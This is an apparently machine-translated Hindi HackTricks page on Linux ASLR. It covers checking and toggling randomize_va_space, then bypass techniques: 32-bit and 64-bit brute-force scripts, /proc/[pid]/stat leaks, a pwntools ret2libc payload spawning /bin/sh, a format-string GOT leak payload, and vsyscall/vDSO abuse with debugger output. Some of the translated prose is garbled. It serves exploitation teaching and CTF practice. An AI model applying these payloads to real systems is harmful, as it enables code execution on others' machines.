ASLR

AWS हैकिंग सीखें और अभ्यास करें:HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)

हैकट्रिक्स का समर्थन करें

• सदस्यता योजनाएं की जाँच करें!

• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 पर फॉलो करें @hacktricks_live.

• हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके HackTricks और HackTricks Cloud github रेपो में।

मूल जानकारी

पता स्थान अंतरिक्ष लेआउट रैंडमाइज़ेशन (ASLR) एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में उपयोग किया जाता है ताकि सिस्टम और एप्लिकेशन प्रक्रियाओं द्वारा उपयोग किए जाने वाले मेमोरी पतों को रैंडमाइज़ करें। इस तरह से, यह किसी हमलावर को विशेष प्रक्रियाओं और डेटा के स्थान का पूर्वानुमान करना काफी कठिन बनाता है, जैसे कि स्टैक, हीप, और लाइब्रेरी, इस प्रकार के कुछ प्रकार के उत्पीड़न को कम करता है, विशेषकर बफर ओवरफ्लोज़।

ASLR स्थिति की जाँच

Linux सिस्टम पर ASLR स्थिति की जाँच करने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में स्टोर किया गया मान यह तय करता है कि कौन सा प्रकार का ASLR लागू हो रहा है:

• 0: कोई रैंडमाइज़ेशन नहीं। सब कुछ स्थैतिक है।

• 1: सतर्क रैंडमाइज़ेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पेज रैंडमाइज़ होते हैं।

• 2: पूर्ण रैंडमाइज़ेशन। सतर्क रैंडमाइज़ेशन द्वारा रैंडमाइज़ किए गए तत्वों के अतिरिक्त, brk() के माध्यम से प्रबंधित मेमोरी भी रैंडमाइज़ होती है।

आप निम्नलिखित कमांड के साथ ASLR स्थिति की जाँच कर सकते हैं:

cat /proc/sys/kernel/randomize_va_space

ASLR को अक्षम करना

ASLR को अक्षम करने के लिए, आप /proc/sys/kernel/randomize_va_space के मान को 0 पर सेट करते हैं। ASLR को अक्षम करना सामान्य रूप से परीक्षण या डीबगिंग स्थितियों के बाहर सिफारिश नहीं की जाती है। यहाँ दिया गया है कि आप इसे कैसे अक्षम कर सकते हैं:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

आप एक निष्पादन के लिए ASLR को अक्षम कर सकते हैं:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

ASLR सक्षम करना

ASLR सक्षम करने के लिए, आप /proc/sys/kernel/randomize_va_space फ़ाइल में 2 का मान लिख सकते हैं। यह आम तौर पर रूट विशेषाधिकारों की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्षम करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

पुनरारंभ के लिए स्थिरता

echo कमांड के माध्यम से किए गए परिवर्तन अस्थायी होते हैं और पुनरारंभ के बाद रीसेट हो जाते हैं। परिवर्तन को स्थायी बनाने के लिए, आपको /etc/sysctl.conf फ़ाइल को संपादित करना होगा और निम्नलिखित पंक्ति जोड़नी या संशोधित करनी होगी:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

प्रभावित करने के लिए /etc/sysctl.conf को संपादित करने के बाद, निम्नलिखित के साथ परिवर्तन लागू करें:

sudo sysctl -p

यह सुनिश्चित करेगा कि आपकी ASLR सेटिंग्स पुनरारंभों में बनी रहें।

बाईपास

32बिट ब्रूट-फोर्सिंग

PaX प्रक्रिया पता स्थान क्षेत्र को 3 समूहों में विभाजित करता है:

• कोड और डेटा (सक्रिय और असक्रिय): .text, .data, और .bss —> delta_exec चर में 16 बिट का अनियमितता। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से प्रारंभिक पतों में जोड़ा जाता है।

• mmap() द्वारा आवंटित स्मृति और साझा पुस्तकालय —> 16 बिट, जिसे delta_mmap नामक किया गया है।

• स्टैक —> 24 बिट, delta_stack के रूप में संदर्भित। हालांकि, यह वास्तव में 11 बिट का उपयोग करता है (10वें से 20वें बाइट समाविष्ट), 16 बाइट के अनुरूप संरेखित —> इससे 524,288 संभावित वास्तविक स्टैक पते होते हैं।

पिछले डेटा 32-बिट सिस्टमों के लिए है और कम होने वाली अंतिम अनियमितता को ASLR को बाईपास करने की संभावना बनाती है, जिसे एक बार और फिर से प्रयास करके अंततः शोषण सफलतापूर्वक पूरा होने तक पुनः प्रयोग करने की संभावना बनाती है।

ब्रूट-फोर्स विचार:

• यदि आपके पास एक बड़ा पर्याप्त ओवरफ्लो है जिसमें शेलकोड से पहले एक बड़ा NOP स्लेड हो सकता है, तो आप स्टैक में पतों को ब्रूट-फोर्स कर सकते हैं जब तक प्रवाह NOP स्लेड के किसी हिस्से पर छलांग नहीं मारता।

• इसके लिए एक और विकल्प यदि ओवरफ्लो इतना बड़ा नहीं है और शोषण स्थानीय रूप से चलाया जा सकता है तो संभावना है कि एनओपी स्लेड और शेलकोड को एक पर्यावरण चर में जोड़ा जा सकता है।

• यदि शोषण स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32बिट सिस्टमों के लिए उपयोगी):

for off in range(0xb7000000, 0xb8000000, 0x1000):

• यदि आप एक रिमोट सर्वर पर हमला कर रहे हैं, तो आप libc फ़ंक्शन usleep का पता लगाने के लिए ब्रूट-फ़ोर्स कर सकते हैं, जिसे ताकत 10 के रूप में पारित किया जा सकता है। यदि किसी समय सर्वर 10 सेकंड अतिरिक्त समय लेता है तो आपने इस फ़ंक्शन का पता लगा लिया है।

64 बिट सिस्टम में एंट्रोपी अधिक होती है और यह संभव नहीं होना चाहिए।

64 बिट स्टैक ब्रूट-फ़ोर्सिंग

यह संभव है कि आप env variables के साथ स्टैक का बड़ा हिस्सा अधिक करें और फिर इसे उसका शोषण करने के लिए स्थानीय रूप से शत्रुता करने की कोशिश करें। निम्नलिखित कोड दिखाता है कि स्टैक में केवल एक पता चुनना संभव है और हर कुछ सैकड़ों बार के निष्पादन के बाद उस पते में NOP निर्देश होगा:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}

import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

स्थानीय सूचना (/proc/[pid]/stat)

प्रक्रिया का फ़ाइल /proc/[pid]/stat हमेशा सभी द्वारा पढ़ने योग्य होती है और इसमें रोचक जानकारी शामिल होती है जैसे:

• startcode & endcode: ऊपर और नीचे के पते जिनमें बाइनरी का TEXT है

• startstack: stack की शुरुआत का पता

• start_data & end_data: ऊपर और नीचे के पते जहां BSS है

• kstkesp & kstkeip: वर्तमान ESP और EIP पते

• arg_start & arg_end: ऊपर और नीचे के पते जहां cli arguments हैं।

• env_start &env_end: ऊपर और नीचे के पते जहां env variables हैं।

इसलिए, यदि हमलावार कंप्यूटर में आक्रमणकर्ता और यह बाइनरी एक अत्यधिक रॉ तर्क से अधिक नहीं अपेक्षा करती है, लेकिन एक विभिन्न इनपुट से अत्याधिक हो सकता है जो इस फ़ाइल को पढ़ने के बाद बनाया जा सकता है। एक हमलावार को इस फ़ाइल से कुछ पते प्राप्त करने और उससे अभिशोषण के लिए ऑफसेट निर्मित करने की संभावना है।

इस फ़ाइल के बारे में अधिक जानकारी के लिए https://man7.org/linux/man-pages/man5/proc.5.html पर /proc/pid/stat खोजें।

एक लीक होना

• चुनौती एक लीक देना है

यदि आपको एक लीक मिलता है (सरल CTF चुनौतियाँ), तो आप उससे ऑफसेट की गणना कर सकते हैं (उदाहरण के लिए मान लें कि आप जानते हैं कि आपके द्वारा उपयोग किए जाने वाले सिस्टम में सटीक libc संस्करण)। यह उदाहरण शोध यहाँ से निकाला गया है यहाँ से उदाहरण (अधिक विवरण के लिए उस पृष्ठ की जाँच करें):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()

• रेट2पीएलटी

एक बफर ओवरफ्लो का दुरुपयोग करके एक रेट2पीएलटी का शोषण करना संभव होगा ताकि libc से किसी फ़ंक्शन का पता निकाला जा सके। जांच करें:

Ret2plt

• फॉर्मेट स्ट्रिंग्स एर्बिट्रेरी रीड

रेट2पीएलटी में जैसे ही, अगर आपके पास एक फॉर्मेट स्ट्रिंग्स वलनरबिलिटी के माध्यम से एक अर्बिट्रेरी रीड है तो जीओटी से एक libc फ़ंक्शन का पता निकालना संभव है। निम्नलिखित उदाहरण यहाँ से है:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

आप फॉर्मेट स्ट्रिंग अर्बिट्रेरी रीड के बारे में अधिक जानकारी यहाँ पा सकते हैं:

Format Strings

Ret2ret & Ret2pop

स्टैक के अंदर पते का दुरुपयोग करके ASLR को उल्लंघन करने का प्रयास करें:

Ret2ret & Reo2pop

vsyscall

vsyscall तंत्र कुछ सिस्टम कॉल्स को उपयोगकर्ता स्थान में निष्पादित करने के द्वारा प्रदर्शन को बढ़ाने के लिए सेवित करता है, हालांकि वे मौलिक रूप से कर्नेल का हिस्सा हैं। vsyscalls का महत्वपूर्ण लाभ उनके निर्धारित पतों में है, जो ASLR (पता स्थान लेआउट यातायात यादृच्छीकरण) के अधीन नहीं हैं। यह निर्धारित स्वभाव का मतलब है कि हमलावरों को उनके पतों का निर्धारण करने और उन्हें एक उत्पीड़न में उपयोग करने के लिए एक जानकारी लीक संकट की आवश्यकता नहीं होती है। हालांकि, यहाँ कोई भी अत्यधिक रोमांचक गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए एक ret; समकक्ष प्राप्त किया जा सकता है)

(निम्नलिखित उदाहरण और कोड इस लेख से है)

उदाहरण के रूप में, एक हमलावर एक उत्पीड़न के भीतर पते 0xffffffffff600800 का उपयोग कर सकता है। जब एक ret निर्देश को सीधे जाने की कोशिश की जाती है, तो कुछ गैजेट्स को निष्पादित करने के बाद अस्थिरता या क्रैश हो सकता है, एक syscall के शुरू होने पर उछलने की कोशिश करना सफल साबित हो सकता है। एक ROP गैजेट को सावधानीपूर्वक रखकर जो इस vsyscall पते पर निष्पादन करने के लिए नेतृत्व करता है, एक हमलावर इस भाग के लिए ASLR को उल्लंघन करने की आवश्यकता नहीं होती है।

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

ध्यान दें कि यदि कर्नेल CONFIG_COMPAT_VDSO के साथ कॉम्पाइल किया गया है, तो vdso का दुरुपयोग करके ASLR को अनदेखा करना संभव हो सकता है क्योंकि vdso पता यादृच्छिक नहीं होगा। अधिक जानकारी के लिए देखें:

Ret2vDSO